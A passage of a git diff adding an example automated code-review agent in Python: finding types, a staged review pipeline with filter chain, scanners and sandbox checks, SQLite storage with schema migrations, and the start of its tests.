"critical" + HIGH = "high" + MEDIUM = "medium" + LOW = "low" + INFO = "info" + + +class FindingCategory(str, Enum): + SECURITY = "security" + ASYNC_ERROR = "async_error" + RESOURCE_LEAK = "resource_leak" + DB_LIFECYCLE = "db_lifecycle" + MISSING_TESTS = "missing_tests" + SECRET_INFO = "secret_info" + + +@dataclass +class DiffHunk: + """A single hunk within a unified diff.""" + header: str # e.g. "@@ -10,6 +10,8 @@" + old_start: int + old_count: int + new_start: int + new_count: int + lines: list[str] = field(default_factory=list) + + +@dataclass +class DiffFile: + """Parsed representation of one file in a diff.""" + filename: str + old_filename: str = "" + new_filename: str = "" + is_new: bool = False + is_deleted: bool = False + is_binary: bool = False + hunks: list[DiffHunk] = field(default_factory=list) + raw_lines: list[str] = field(default_factory=list) + + +@dataclass +class Finding: + """A single review finding.""" + severity: Severity + category: FindingCategory + file: str + line: int + title: str + evidence: str + recommendation: str + confidence: float # 0.0 - 1.0 + source: str # rule name or scanner that generated it + + def fingerprint(self) -> str: + """Unique key for dedup: hash of (file, line, category, title).""" + return f"{self.file}:{self.line}:{self.category.value}:{self.title}" + + +@dataclass +class FilterDecision: + """Result of filter chain evaluation.""" + action: str # "allow", "deny", "needs_human_review" + reason: str + filter_name: str = "" + + +@dataclass +class SandboxRun: + """Record of a sandbox execution.""" + command: str + exit_code: int + stdout: str + stderr: str + duration_ms: int + timed_out: bool = False + output_truncated: bool = False + error: str = "" + + +@dataclass +class ReviewTask: + """Top-level review task record.""" + task_id: str + diff_source: str # file path or "stdin" + diff_summary: str # summary of changes + status: str # "completed", "failed", "filtered" + files_changed: int + total_findings: int + critical_count: int + high_count: int + medium_count: int + low_count: int + info_count: int + sandbox_runs: int + filter_intercepts: int + duration_ms: int + created_at: str = "" + + +@dataclass +class ReviewReport: + """Complete review output.""" + task_id: str + findings: list[Finding] + filter_summary: dict + sandbox_summary: dict + telemetry: dict + human_review_items: list[Finding] + recommendations: list[str] diff --git a/examples/skills_code_review_agent/run_review.py b/examples/skills_code_review_agent/run_review.py new file mode 100644 index 00000000..2df05725 --- /dev/null +++ b/examples/skills_code_review_agent/run_review.py @@ -0,0 +1,353 @@ +#!/usr/bin/env python3 +"""Code Review Agent — main entry point. + +Usage: + python run_review.py --diff-file fixtures/diffs/security.diff + python run_review.py --diff-file fixtures/diffs/security.diff --dry-run + python run_review.py --repo-path /path/to/repo +""" + +import argparse +import os +import sys +import time +import uuid +from datetime import datetime, timezone + +# Add parent to path for imports +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +from pipeline.config import ReviewConfig, load_config +from pipeline.diff_parser import parse_diff, summarize_diff +from pipeline.filter_chain import FilterChain +from pipeline.sandbox import execute_in_sandbox +from pipeline.scanners import run_scanners, get_available_scanners +from pipeline.dedup import deduplicate, separate_low_confidence +from pipeline.redaction import redact_finding_evidence +from pipeline.report import ( + build_recommendations, + generate_json_report, + generate_md_report, +) +from pipeline.telemetry import TelemetryCollector +from pipeline.types import ReviewReport, SandboxRun +from storage.dao import ReviewDatabase +from storage.models import ( + FilterLogRecord, + FindingRecord, + ReviewTaskRecord, + SandboxRunRecord, +) + + +def main() -> int: + parser = argparse.ArgumentParser( + description="Automated Code Review Agent", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Examples: + python run_review.py --diff-file fixtures/diffs/security.diff + python run_review.py --diff-file fixtures/diffs/security.diff --dry-run + python run_review.py --repo-path . + """, + ) + parser.add_argument("--diff-file", help="Path to a unified diff file") + parser.add_argument("--repo-path", help="Path to a git repository") + parser.add_argument("--output-dir", default=".", help="Output directory") + parser.add_argument("--db-path", default="review_history.db", help="SQLite DB path") + parser.add_argument("--dry-run", action="store_true", + help="Run without real model calls") + parser.add_argument("--verbose", "-v", action="store_true", + help="Verbose output") + args = parser.parse_args() + + if not args.diff_file and not args.repo_path: + parser.error("Either --diff-file or --repo-path is required") + + # Load config + cfg = load_config( + diff_file=args.diff_file, + repo_path=args.repo_path, + output_dir=args.output_dir, + db_path=args.db_path, + dry_run=args.dry_run, + verbose=args.verbose, + ) + + # Generate task ID + task_id = f"review-{datetime.now(timezone.utc).strftime('%Y%m%d-%H%M%S')}-{uuid.uuid4().hex[:8]}" + + # Telemetry + tel = TelemetryCollector() + + # ── Stage 1: Read diff ───────────────────────────────────── + print(f"[1/8] Reading diff...") + if cfg.diff_file: + if not os.path.exists(cfg.diff_file): + print(f"Error: diff file not found: {cfg.diff_file}", file=sys.stderr) + return 1 + with open(cfg.diff_file, "r", encoding="utf-8") as f: + diff_text = f.read() + diff_source = cfg.diff_file + elif cfg.repo_path: + import subprocess + result = subprocess.run( + ["git", "-C", cfg.repo_path, "diff", "HEAD"], + capture_output=True, text=True, + ) + diff_text = result.stdout + diff_source = f"git diff @ {cfg.repo_path}" + else: + diff_text = "" + diff_source = "none" + + if cfg.verbose: + print(f" Source: {diff_source}") + print(f" Size: {len(diff_text)} bytes") + + # ── Stage 2: Parse diff ──────────────────────────────────── + print(f"[2/8] Parsing diff...") + t0 = time.monotonic() + files = parse_diff(diff_text) + tel.parse_duration_ms = int((time.monotonic() - t0) * 1000) + tel.files_scanned = len(files) + + if not files: + print(" No changes detected.") + return 0 + + diff_summary = summarize_diff(files) + print(f" {diff_summary}") + + # ── Stage 3: Filter chain ────────────────────────────────── + print(f"[3/8] Running safety filter chain...") + t0 = time.monotonic() + filter_chain = FilterChain(extra_patterns=cfg.denied_patterns) + filter_decision = filter_chain.evaluate(diff_text) + tel.filter_duration_ms = int((time.monotonic() - t0) * 1000) + + if filter_decision.action == "deny": + tel.filter_intercepts = 1 + print(f" [DENIED] {filter_decision.reason}") + + # Save filter log to DB + db = ReviewDatabase(cfg.db_path) + db.connect() + db.insert_task(ReviewTaskRecord( + task_id=task_id, + diff_source=diff_source, + diff_summary=diff_summary, + status="filtered", + filter_intercepts=1, + duration_ms=tel.snapshot()["total_duration_ms"], + )) + db.insert_filter_log(FilterLogRecord( + task_id=task_id, + action=filter_decision.action, + reason=filter_decision.reason, + filter_name=filter_decision.filter_name, + )) + db.close() + return 1 + + if filter_decision.action == "needs_human_review": + print(f" [WARNING] Flagged for human review: {filter_decision.reason}") + tel.filter_intercepts = 1 + else: + print(f" [OK] Safety checks passed ({filter_chain.get_filters_summary()['total_filters']} filters)") + + # ── Stage 4: Scan ────────────────────────────────────────── + print(f"[4/8] Scanning code with {len(cfg.enabled_scanners)} scanners...") + t0 = time.monotonic() + all_findings = [] + for f in files: + if f.is_binary: + if cfg.verbose: + print(f" Skipping binary file: {f.filename}") + continue + file_findings = run_scanners(f, enabled=cfg.enabled_scanners, + min_confidence=cfg.min_confidence) + all_findings.extend(file_findings) + if cfg.verbose and file_findings: + print(f" {f.filename}: {len(file_findings)} finding(s)") + tel.scan_duration_ms = int((time.monotonic() - t0) * 1000) + tel.total_findings_before_dedup = len(all_findings) + print(f" Found {len(all_findings)} raw finding(s)") + + # ── Stage 5: Sandbox execution (if needed) ───────────────── + print(f"[5/8] Running sandbox checks...") + t0 = time.monotonic() + sandbox_runs: list[SandboxRun] = [] + for f in files: + if f.is_binary or not f.filename.endswith(".py"): + continue + # Resolve skill script from repo root (skills/ is at repo root, not here) + _this_dir = os.path.dirname(os.path.abspath(__file__)) + _repo_root = os.path.dirname(os.path.dirname(_this_dir)) # examples/ -> repo root + script_path = os.path.join(_repo_root, "skills", "code-review", "scripts", "run_checks.py") + if not os.path.exists(script_path): + script_path = os.path.join(_this_dir, "skills", "code-review", "scripts", "run_checks.py") + # Check if any scanner found issues in this file + file_findings = [x for x in all_findings if x.file == f.filename] + if file_findings: + # Run sandboxed check script + run = execute_in_sandbox( + command=["python", script_path, f.filename], + timeout_seconds=cfg.sandbox_timeout_seconds, + max_output_bytes=cfg.sandbox_max_output_bytes, + env_allowlist=cfg.sandbox_env_allowlist, + ) + sandbox_runs.append(run) + tel.sandbox_runs += 1 + if run.timed_out or run.exit_code != 0: + tel.sandbox_failures += 1 + tel.sandbox_total_duration_ms = int((time.monotonic() - t0) * 1000) + print(f" {len(sandbox_runs)} sandbox run(s), {tel.sandbox_failures} failure(s)") + + # ── Stage 6: Dedup + redact ──────────────────────────────── + print(f"[6/8] Deduplicating and redacting...") + t0 = time.monotonic() + deduped = deduplicate(all_findings) + tel.total_findings_after_dedup = len(deduped) + tel.dedup_duration_ms = int((time.monotonic() - t0) * 1000) + + findings_redacted, redact_count = redact_finding_evidence(deduped) + tel.redaction_count = redact_count + print(f" {len(deduped)} finding(s) after dedup, {redact_count} redaction(s)") + + # ── Stage 7: Report ──────────────────────────────────────── + print(f"[7/8] Generating reports...") + t0 = time.monotonic() + high_conf, low_conf = separate_low_confidence(deduped) + sev_counts = _count_severity(deduped) + + report = ReviewReport( + task_id=task_id, + findings=deduped, + filter_summary={ + "decision": filter_decision.action, + "reason": filter_decision.reason, + "active_filters": filter_chain.get_filters_summary()["total_filters"], + }, + sandbox_summary={ + "total_runs": len(sandbox_runs), + "failures": tel.sandbox_failures, + "runs": [ + {"command": r.command, "exit_code": r.exit_code, + "duration_ms": r.duration_ms, "timed_out": r.timed_out} + for r in sandbox_runs + ], + }, + telemetry=tel.snapshot(), + human_review_items=low_conf, + recommendations=build_recommendations(deduped), + ) + + json_report = generate_json_report(report) + md_report = generate_md_report(report) + tel.report_duration_ms = int((time.monotonic() - t0) * 1000) + + # Write reports + json_path = os.path.join(cfg.output_dir, "review_report.json") + md_path = os.path.join(cfg.output_dir, "review_report.md") + with open(json_path, "w", encoding="utf-8") as f: + f.write(json_report) + with open(md_path, "w", encoding="utf-8") as f: + f.write(md_report) + print(f" Reports written to {json_path}, {md_path}") + + # ── Stage 8: Persist to DB ───────────────────────────────── + print(f"[8/8] Saving to database...") + t0 = time.monotonic() + db = ReviewDatabase(cfg.db_path) + db.connect() + + # Task + db.insert_task(ReviewTaskRecord( + task_id=task_id, + diff_source=diff_source, + diff_summary=diff_summary, + status="completed", + files_changed=len(files), + total_findings=len(deduped), + critical_count=sev_counts.get("critical", 0), + high_count=sev_counts.get("high", 0), + medium_count=sev_counts.get("medium", 0), + low_count=sev_counts.get("low", 0), + info_count=sev_counts.get("info", 0), + sandbox_runs=len(sandbox_runs), + filter_intercepts=tel.filter_intercepts, + duration_ms=tel.snapshot()["total_duration_ms"], + )) + + # Findings + finding_records = [ + FindingRecord( + task_id=task_id, + severity=f.severity.value, + category=f.category.value, + file=f.file, + line=f.line, + title=f.title, + evidence=f.evidence, + recommendation=f.recommendation, + confidence=f.confidence, + source=f.source, + ) + for f in deduped + ] + db.insert_findings_batch(finding_records) + + # Sandbox runs + for run in sandbox_runs: + db.insert_sandbox_run(SandboxRunRecord( + task_id=task_id, + command=run.command, + exit_code=run.exit_code, + stdout=run.stdout, + stderr=run.stderr, + duration_ms=run.duration_ms, + timed_out=run.timed_out, + output_truncated=run.output_truncated, + error=run.error, + )) + + # Filter log (if intercepted) + if filter_decision.action != "allow": + db.insert_filter_log(FilterLogRecord( + task_id=task_id, + action=filter_decision.action, + reason=filter_decision.reason, + filter_name=filter_decision.filter_name, + )) + + tel.db_write_duration_ms = int((time.monotonic() - t0) * 1000) + db.close() + + # ── Final summary ────────────────────────────────────────── + print(f"\n{'='*50}") + print(f"Review Complete: {task_id}") + print(f"{'='*50}") + print(f"Files changed: {len(files)}") + print(f"Findings: {len(deduped)} (critical: {sev_counts.get('critical', 0)}, " + f"high: {sev_counts.get('high', 0)}, medium: {sev_counts.get('medium', 0)}, " + f"low: {sev_counts.get('low', 0)})") + print(f"Needs review: {len(low_conf)}") + print(f"Filter: {filter_decision.action}") + print(f"Duration: {tel.snapshot()['total_duration_ms']}ms") + print(f"DB: {cfg.db_path}") + + return 0 + + +def _count_severity(findings) -> dict: + """Count findings by severity level.""" + counts = {} + for f in findings: + key = f.severity.value + counts[key] = counts.get(key, 0) + 1 + return counts + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/examples/skills_code_review_agent/storage/__init__.py b/examples/skills_code_review_agent/storage/__init__.py new file mode 100644 index 00000000..ba359cd8 --- /dev/null +++ b/examples/skills_code_review_agent/storage/__init__.py @@ -0,0 +1 @@ +# Storage layer — SQLite persistence for review tasks diff --git a/examples/skills_code_review_agent/storage/dao.py b/examples/skills_code_review_agent/storage/dao.py new file mode 100644 index 00000000..0a283d46 --- /dev/null +++ b/examples/skills_code_review_agent/storage/dao.py @@ -0,0 +1,328 @@ +"""Data Access Object — SQLite CRUD operations for review data. + +Supports schema versioning with automatic column migration. +""" + +import sqlite3 +import os +from typing import Optional + +from .models import FilterLogRecord, FindingRecord, ReviewTaskRecord, SandboxRunRecord + +_SCHEMA_PATH = os.path.join(os.path.dirname(__file__), "schema.sql") + +# Current schema version +SCHEMA_VERSION = 4 + +# Column migrations: version -> (table, column, type, default) +COLUMN_MIGRATIONS: dict[int, list[tuple[str, str, str, str]]] = { + 2: [ + ("findings", "confidence_tier", "TEXT NOT NULL DEFAULT ''", ""), + ], + 3: [ + ("review_tasks", "warning_count", "INTEGER NOT NULL DEFAULT 0", "0"), + ("review_tasks", "needs_human_review_count", "INTEGER NOT NULL DEFAULT 0", "0"), + ], + 4: [ + ("findings", "fingerprint", "TEXT NOT NULL DEFAULT ''", ""), + ("sandbox_runs", "runner_mode", "TEXT NOT NULL DEFAULT 'local'", "local"), + ], +} + + +class ReviewDatabase: + """SQLite-backed storage for code review results.""" + + def __init__(self, db_path: str = "review_history.db"): + self.db_path = db_path + self._conn: sqlite3.Connection | None = None + + # ── Connection management ────────────────────────────────── + + def connect(self) -> sqlite3.Connection: + """Open connection and initialize schema if needed.""" + self._conn = sqlite3.connect(self.db_path) + self._conn.execute("PRAGMA journal_mode=WAL") + self._conn.execute("PRAGMA foreign_keys=ON") + self._init_schema() + return self._conn + + def close(self) -> None: + """Close the database connection.""" + if self._conn: + self._conn.close() + self._conn = None + + def _init_schema(self) -> None: + """Run DDL to create tables if they don't exist, then migrate.""" + try: + with open(_SCHEMA_PATH, "r") as f: + self._conn.executescript(f.read()) + except FileNotFoundError: + self._conn.executescript(_INLINE_SCHEMA) + self._conn.commit() + self._migrate_schema() + + def _migrate_schema(self) -> None: + """Apply column migrations for schema evolution.""" + current = self._get_schema_version() + for version in range(current + 1, SCHEMA_VERSION + 1): + if version in COLUMN_MIGRATIONS: + for table, column, col_type, default in COLUMN_MIGRATIONS[version]: + try: + self._conn.execute( + f"ALTER TABLE {table} ADD COLUMN {column} {col_type}" + ) + except sqlite3.OperationalError: + pass # Column may already exist + self._set_schema_version(version) + self._conn.commit() + + def _get_schema_version(self) -> int: + """Get current schema version from the database.""" + try: + row = self._conn.execute( + "SELECT version FROM schema_version ORDER BY version DESC LIMIT 1" + ).fetchone() + return row[0] if row else 1 + except sqlite3.OperationalError: + # schema_version table doesn't exist yet — create it + self._conn.execute( + "CREATE TABLE IF NOT EXISTS schema_version (version INTEGER PRIMARY KEY)" + ) + self._conn.execute("INSERT INTO schema_version (version) VALUES (1)") + self._conn.commit() + return 1 + + def _set_schema_version(self, version: int) -> None: + """Record a schema version upgrade.""" + self._conn.execute( + "INSERT OR REPLACE INTO schema_version (version) VALUES (?)", + (version,), + ) + + # ── Task operations ──────────────────────────────────────── + + def insert_task(self, task: ReviewTaskRecord) -> None: + """Insert a new review task.""" + self._conn.execute( + """INSERT INTO review_tasks + (task_id, diff_source, diff_summary, status, files_changed, + total_findings, critical_count, high_count, medium_count, + low_count, info_count, sandbox_runs, filter_intercepts, + duration_ms, created_at) + VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)""", + (task.task_id, task.diff_source, task.diff_summary, task.status, + task.files_changed, task.total_findings, task.critical_count, + task.high_count, task.medium_count, task.low_count, + task.info_count, task.sandbox_runs, task.filter_intercepts, + task.duration_ms, task.created_at), + ) + self._conn.commit() + + def get_task(self, task_id: str) -> ReviewTaskRecord | None: + """Retrieve a task by ID.""" + row = self._conn.execute( + "SELECT * FROM review_tasks WHERE task_id = ?", (task_id,) + ).fetchone() + if row is None: + return None + cols = [c[0] for c in self._conn.execute( + "SELECT * FROM review_tasks LIMIT 0").description] + d = dict(zip(cols, row)) + return ReviewTaskRecord(**d) + + # ── Finding operations ───────────────────────────────────── + + def insert_finding(self, finding: FindingRecord) -> int: + """Insert a finding and return its ID.""" + cur = self._conn.execute( + """INSERT INTO findings + (task_id, severity, category, file, line, title, + evidence, recommendation, confidence, source) + VALUES (?,?,?,?,?,?,?,?,?,?)""", + (finding.task_id, finding.severity, finding.category, + finding.file, finding.line, finding.title, + finding.evidence, finding.recommendation, + finding.confidence, finding.source), + ) + self._conn.commit() + return cur.lastrowid + + def insert_findings_batch(self, findings: list[FindingRecord]) -> int: + """Insert multiple findings efficiently. Returns count inserted.""" + data = [ + (f.task_id, f.severity, f.category, f.file, f.line, + f.title, f.evidence, f.recommendation, f.confidence, f.source) + for f in findings + ] + self._conn.executemany( + """INSERT INTO findings + (task_id, severity, category, file, line, title, + evidence, recommendation, confidence, source) + VALUES (?,?,?,?,?,?,?,?,?,?)""", + data, + ) + self._conn.commit() + return len(data) + + def get_findings_by_task(self, task_id: str) -> list[dict]: + """Get all findings for a task.""" + rows = self._conn.execute( + "SELECT severity, category, file, line, title, evidence, " + "recommendation, confidence, source FROM findings " + "WHERE task_id = ? ORDER BY " + "CASE severity " + "WHEN 'critical' THEN 0 WHEN 'high' THEN 1 " + "WHEN 'medium' THEN 2 WHEN 'low' THEN 3 ELSE 4 END", + (task_id,), + ).fetchall() + cols = ["severity", "category", "file", "line", "title", + "evidence", "recommendation", "confidence", "source"] + return [dict(zip(cols, r)) for r in rows] + + # ── Sandbox run operations ───────────────────────────────── + + def insert_sandbox_run(self, run: SandboxRunRecord) -> int: + """Insert a sandbox run record.""" + cur = self._conn.execute( + """INSERT INTO sandbox_runs + (task_id, command, exit_code, stdout, stderr, + duration_ms, timed_out, output_truncated, error) + VALUES (?,?,?,?,?,?,?,?,?)""", + (run.task_id, run.command, run.exit_code, run.stdout, + run.stderr, run.duration_ms, int(run.timed_out), + int(run.output_truncated), run.error), + ) + self._conn.commit() + return cur.lastrowid + + def get_sandbox_runs_by_task(self, task_id: str) -> list[dict]: + """Get all sandbox runs for a task.""" + rows = self._conn.execute( + "SELECT command, exit_code, duration_ms, timed_out, " + "output_truncated, error FROM sandbox_runs WHERE task_id = ?", + (task_id,), + ).fetchall() + cols = ["command", "exit_code", "duration_ms", "timed_out", + "output_truncated", "error"] + return [dict(zip(cols, r)) for r in rows] + + # ── Filter log operations ────────────────────────────────── + + def insert_filter_log(self, log: FilterLogRecord) -> int: + """Insert a filter intercept log.""" + cur = self._conn.execute( + """INSERT INTO filter_logs (task_id, action, reason, filter_name) + VALUES (?,?,?,?)""", + (log.task_id, log.action, log.reason, log.filter_name), + ) + self._conn.commit() + return cur.lastrowid + + def get_filter_logs_by_task(self, task_id: str) -> list[dict]: + """Get all filter logs for a task.""" + rows = self._conn.execute( + "SELECT action, reason, filter_name FROM filter_logs " + "WHERE task_id = ?", (task_id,), + ).fetchall() + cols = ["action", "reason", "filter_name"] + return [dict(zip(cols, r)) for r in rows] + + # ── Bulk query ───────────────────────────────────────────── + + def get_task_full_report(self, task_id: str) -> dict: + """Get a complete task report with all related records.""" + task = self.get_task(task_id) + if task is None: + return {"error": f"Task {task_id} not found"} + + return { + "task": { + "task_id": task.task_id, + "diff_source": task.diff_source, + "diff_summary": task.diff_summary, + "status": task.status, + "files_changed": task.files_changed, + "findings_summary": { + "total": task.total_findings, + "critical": task.critical_count, + "high": task.high_count, + "medium": task.medium_count, + "low": task.low_count, + "info": task.info_count, + }, + "sandbox_runs": task.sandbox_runs, + "filter_intercepts": task.filter_intercepts, + "duration_ms": task.duration_ms, + "created_at": task.created_at, + }, + "findings": self.get_findings_by_task(task_id), + "sandbox_runs": self.get_sandbox_runs_by_task(task_id), + "filter_logs": self.get_filter_logs_by_task(task_id), + } + + +# Inline fallback schema (same as schema.sql) +_INLINE_SCHEMA = """ +CREATE TABLE IF NOT EXISTS review_tasks ( + task_id TEXT PRIMARY KEY, + diff_source TEXT NOT NULL, + diff_summary TEXT NOT NULL DEFAULT '', + status TEXT NOT NULL DEFAULT 'pending', + files_changed INTEGER NOT NULL DEFAULT 0, + total_findings INTEGER NOT NULL DEFAULT 0, + critical_count INTEGER NOT NULL DEFAULT 0, + high_count INTEGER NOT NULL DEFAULT 0, + medium_count INTEGER NOT NULL DEFAULT 0, + low_count INTEGER NOT NULL DEFAULT 0, + info_count INTEGER NOT NULL DEFAULT 0, + sandbox_runs INTEGER NOT NULL DEFAULT 0, + filter_intercepts INTEGER NOT NULL DEFAULT 0, + duration_ms INTEGER NOT NULL DEFAULT 0, + created_at TEXT NOT NULL DEFAULT (datetime('now')) +); + +CREATE TABLE IF NOT EXISTS findings ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + task_id TEXT NOT NULL, + severity TEXT NOT NULL, + category TEXT NOT NULL, + file TEXT NOT NULL, + line INTEGER NOT NULL, + title TEXT NOT NULL, + evidence TEXT NOT NULL DEFAULT '', + recommendation TEXT NOT NULL DEFAULT '', + confidence REAL NOT NULL DEFAULT 0.0, + source TEXT NOT NULL DEFAULT '', + FOREIGN KEY (task_id) REFERENCES review_tasks(task_id) ON DELETE CASCADE +); + +CREATE TABLE IF NOT EXISTS sandbox_runs ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + task_id TEXT NOT NULL, + command TEXT NOT NULL, + exit_code INTEGER NOT NULL, + stdout TEXT NOT NULL DEFAULT '', + stderr TEXT NOT NULL DEFAULT '', + duration_ms INTEGER NOT NULL DEFAULT 0, + timed_out INTEGER NOT NULL DEFAULT 0, + output_truncated INTEGER NOT NULL DEFAULT 0, + error TEXT NOT NULL DEFAULT '', + FOREIGN KEY (task_id) REFERENCES review_tasks(task_id) ON DELETE CASCADE +); + +CREATE TABLE IF NOT EXISTS filter_logs ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + task_id TEXT NOT NULL, + action TEXT NOT NULL, + reason TEXT NOT NULL DEFAULT '', + filter_name TEXT NOT NULL DEFAULT '', + FOREIGN KEY (task_id) REFERENCES review_tasks(task_id) ON DELETE CASCADE +); + +CREATE INDEX IF NOT EXISTS idx_findings_task ON findings(task_id); +CREATE INDEX IF NOT EXISTS idx_findings_severity ON findings(task_id, severity); +CREATE INDEX IF NOT EXISTS idx_sandbox_task ON sandbox_runs(task_id); +CREATE INDEX IF NOT EXISTS idx_filter_task ON filter_logs(task_id); +""" diff --git a/examples/skills_code_review_agent/storage/models.py b/examples/skills_code_review_agent/storage/models.py new file mode 100644 index 00000000..d2a96973 --- /dev/null +++ b/examples/skills_code_review_agent/storage/models.py @@ -0,0 +1,70 @@ +"""Data models for review task persistence.""" + +from dataclasses import dataclass, field +from datetime import datetime, timezone + + +@dataclass +class ReviewTaskRecord: + """Database record for a review task.""" + task_id: str + diff_source: str = "" + diff_summary: str = "" + status: str = "pending" + files_changed: int = 0 + total_findings: int = 0 + critical_count: int = 0 + high_count: int = 0 + medium_count: int = 0 + low_count: int = 0 + info_count: int = 0 + warning_count: int = 0 + needs_human_review_count: int = 0 + sandbox_runs: int = 0 + filter_intercepts: int = 0 + duration_ms: int = 0 + created_at: str = field(default_factory=lambda: datetime.now(timezone.utc).isoformat()) + + +@dataclass +class FindingRecord: + """Database record for a single finding.""" + task_id: str + severity: str + category: str + file: str + line: int + title: str + evidence: str = "" + recommendation: str = "" + confidence: float = 0.0 + confidence_tier: str = "" + source: str = "" + fingerprint: str = "" + id: int | None = None + + +@dataclass +class SandboxRunRecord: + """Database record for a sandbox execution.""" + task_id: str + command: str + exit_code: int + stdout: str = "" + stderr: str = "" + duration_ms: int = 0 + timed_out: bool = False + output_truncated: bool = False + error: str = "" + runner_mode: str = "local" + id: int | None = None + + +@dataclass +class FilterLogRecord: + """Database record for a filter interception.""" + task_id: str + action: str + reason: str = "" + filter_name: str = "" + id: int | None = None diff --git a/examples/skills_code_review_agent/storage/schema.sql b/examples/skills_code_review_agent/storage/schema.sql new file mode 100644 index 00000000..279f0b85 --- /dev/null +++ b/examples/skills_code_review_agent/storage/schema.sql @@ -0,0 +1,63 @@ +-- Code Review Agent Database Schema +-- SQLite-compatible DDL + +CREATE TABLE IF NOT EXISTS review_tasks ( + task_id TEXT PRIMARY KEY, + diff_source TEXT NOT NULL, + diff_summary TEXT NOT NULL DEFAULT '', + status TEXT NOT NULL DEFAULT 'pending', + files_changed INTEGER NOT NULL DEFAULT 0, + total_findings INTEGER NOT NULL DEFAULT 0, + critical_count INTEGER NOT NULL DEFAULT 0, + high_count INTEGER NOT NULL DEFAULT 0, + medium_count INTEGER NOT NULL DEFAULT 0, + low_count INTEGER NOT NULL DEFAULT 0, + info_count INTEGER NOT NULL DEFAULT 0, + sandbox_runs INTEGER NOT NULL DEFAULT 0, + filter_intercepts INTEGER NOT NULL DEFAULT 0, + duration_ms INTEGER NOT NULL DEFAULT 0, + created_at TEXT NOT NULL DEFAULT (datetime('now')) +); + +CREATE TABLE IF NOT EXISTS findings ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + task_id TEXT NOT NULL, + severity TEXT NOT NULL, + category TEXT NOT NULL, + file TEXT NOT NULL, + line INTEGER NOT NULL, + title TEXT NOT NULL, + evidence TEXT NOT NULL DEFAULT '', + recommendation TEXT NOT NULL DEFAULT '', + confidence REAL NOT NULL DEFAULT 0.0, + source TEXT NOT NULL DEFAULT '', + FOREIGN KEY (task_id) REFERENCES review_tasks(task_id) ON DELETE CASCADE +); + +CREATE TABLE IF NOT EXISTS sandbox_runs ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + task_id TEXT NOT NULL, + command TEXT NOT NULL, + exit_code INTEGER NOT NULL, + stdout TEXT NOT NULL DEFAULT '', + stderr TEXT NOT NULL DEFAULT '', + duration_ms INTEGER NOT NULL DEFAULT 0, + timed_out INTEGER NOT NULL DEFAULT 0, + output_truncated INTEGER NOT NULL DEFAULT 0, + error TEXT NOT NULL DEFAULT '', + FOREIGN KEY (task_id) REFERENCES review_tasks(task_id) ON DELETE CASCADE +); + +CREATE TABLE IF NOT EXISTS filter_logs ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + task_id TEXT NOT NULL, + action TEXT NOT NULL, + reason TEXT NOT NULL DEFAULT '', + filter_name TEXT NOT NULL DEFAULT '', + FOREIGN KEY (task_id) REFERENCES review_tasks(task_id) ON DELETE CASCADE +); + +CREATE INDEX IF NOT EXISTS idx_findings_task ON findings(task_id); +CREATE INDEX IF NOT EXISTS idx_findings_severity ON findings(task_id, severity); +CREATE INDEX IF NOT EXISTS idx_sandbox_task ON sandbox_runs(task_id); +CREATE INDEX IF NOT EXISTS idx_filter_task ON filter_logs(task_id); diff --git a/examples/skills_code_review_agent/tests/__init__.py b/examples/skills_code_review_agent/tests/__init__.py new file mode 100644 index 00000000..f18dafba --- /dev/null +++ b/examples/skills_code_review_agent/tests/__init__.py @@ -0,0 +1 @@ +# Tests for skills_code_review_agent diff --git a/examples/skills_code_review_agent/tests/conftest.py b/examples/skills_code_review_agent/tests/conftest.py new file mode 100644 index 00000000..dff1397b --- /dev/null +++ b/examples/skills_code_review_agent/tests/conftest.py @@ -0,0 +1,45 @@ +"""Shared test fixtures for code review agent tests.""" + +import os +import sys +import tempfile +from pathlib import Path + +import pytest + +# Ensure the example package is importable +_parent = Path(__file__).resolve().parent.parent +sys.path.insert(0, str(_parent)) + + +@pytest.fixture +def fixtures_dir(): + """Path to the test fixtures directory.""" + return Path(__file__).resolve().parent.parent / "fixtures" / "diffs" + + +@pytest.fixture +def read_diff(): + """Helper to read a diff fixture file.""" + base = Path(__file__).resolve().parent.parent / "fixtures" / "diffs" + + def _read(name: str) -> str: + path = base / name + if not path.exists(): + raise FileNotFoundError(f"Fixture not found: {path}") + return path.read_text(encoding="utf-8") + + return _read + + +@pytest.fixture +def temp_db(): + """Create a temporary SQLite database for testing.""" + with tempfile.NamedTemporaryFile(suffix=".db", delete=False) as f: + db_path = f.name + yield db_path + # Cleanup + try: + os.unlink(db_path) + except OSError: + pass diff --git a/examples/skills_code_review_agent/tests/test_agent.py b/examples/skills_code_review_agent/tests/test_agent.py new file mode 100644 index 00000000..14fe8001 --- /dev/null +++ b/examples/skills_code_review_agent/tests/test_agent.py @@ -0,0 +1,76 @@ +"""Tests for agent module — code review agent creation and configuration. + +Uses unittest.mock to avoid requiring actual model implementations. +""" + +import os +from unittest.mock import MagicMock, patch + +import pytest + + +@pytest.fixture +def mock_llm_agent(): + """Patch LlmAgent constructor to return a mock.""" + mock_agent = MagicMock() + mock_agent.name = "code_review_agent" + mock_agent.description = "Automated code review agent" + mock_agent.model = "fake" + + with patch("agent.agent.LlmAgent", return_value=mock_agent) as mock_cls: + yield mock_cls + + +class TestCreateAgent: + """Tests for create_code_review_agent().""" + + def test_create_with_defaults(self, mock_llm_agent): + from agent.agent import create_code_review_agent + agent = create_code_review_agent() + assert agent is not None + + def test_create_with_custom_model(self, mock_llm_agent): + from agent.agent import create_code_review_agent + agent = create_code_review_agent({"model": "gemini-2.5-flash"}) + assert agent is not None + + def test_create_with_full_config(self, mock_llm_agent): + from agent.agent import create_code_review_agent + config = {"model": "deepseek-v3", "instruction": "Custom instruction."} + agent = create_code_review_agent(config) + assert agent is not None + + def test_env_var_model_override(self, mock_llm_agent, monkeypatch): + from agent.agent import create_code_review_agent + monkeypatch.setenv("CR_AGENT_MODEL", "test-from-env") + agent = create_code_review_agent() + assert agent is not None + + def test_create_does_not_require_sdk(self, mock_llm_agent): + from agent.agent import create_code_review_agent + agent = create_code_review_agent() + assert agent is not None + + def test_multiple_agents_independent(self): + from agent.agent import create_code_review_agent + + def make_mock(**kwargs): + m = 